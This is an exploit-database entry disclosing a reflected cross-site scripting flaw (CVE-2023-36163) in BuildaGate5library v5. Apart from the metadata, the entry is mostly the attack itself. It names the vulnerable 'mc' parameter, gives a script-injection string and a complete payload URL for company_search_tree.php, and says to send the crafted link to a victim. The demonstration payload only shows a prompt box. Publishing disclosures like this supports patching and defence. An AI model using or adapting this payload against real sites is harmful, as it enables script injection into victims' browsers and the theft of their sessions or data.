BuildaGate5library v5 - Reflected Cross-Site Scripting (XSS)

Author: Idan Malihi
type: webapps
platform: php
port: 
date_added: 2023-07-11  
date_updated: 2023-07-11  
verified: 0  
codes: CVE-2023-36163  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 51581.txt  

# Exploit Title: BuildaGate5library v5 - Reflected Cross-Site Scripting (XSS)
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: None
# Version: 5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36163

#PoC:
An attacker just needs to find the vulnerable parameter (mc=) and inject the JS code like:
'><script>prompt("XSS");</script><div id="aa

After that, the attacker needs to send the full URL with the JS code to the victim and inject their browser.

#Payload:
company_search_tree.php?mc=aaa'><script>prompt("XSS");</script><div id="aaaa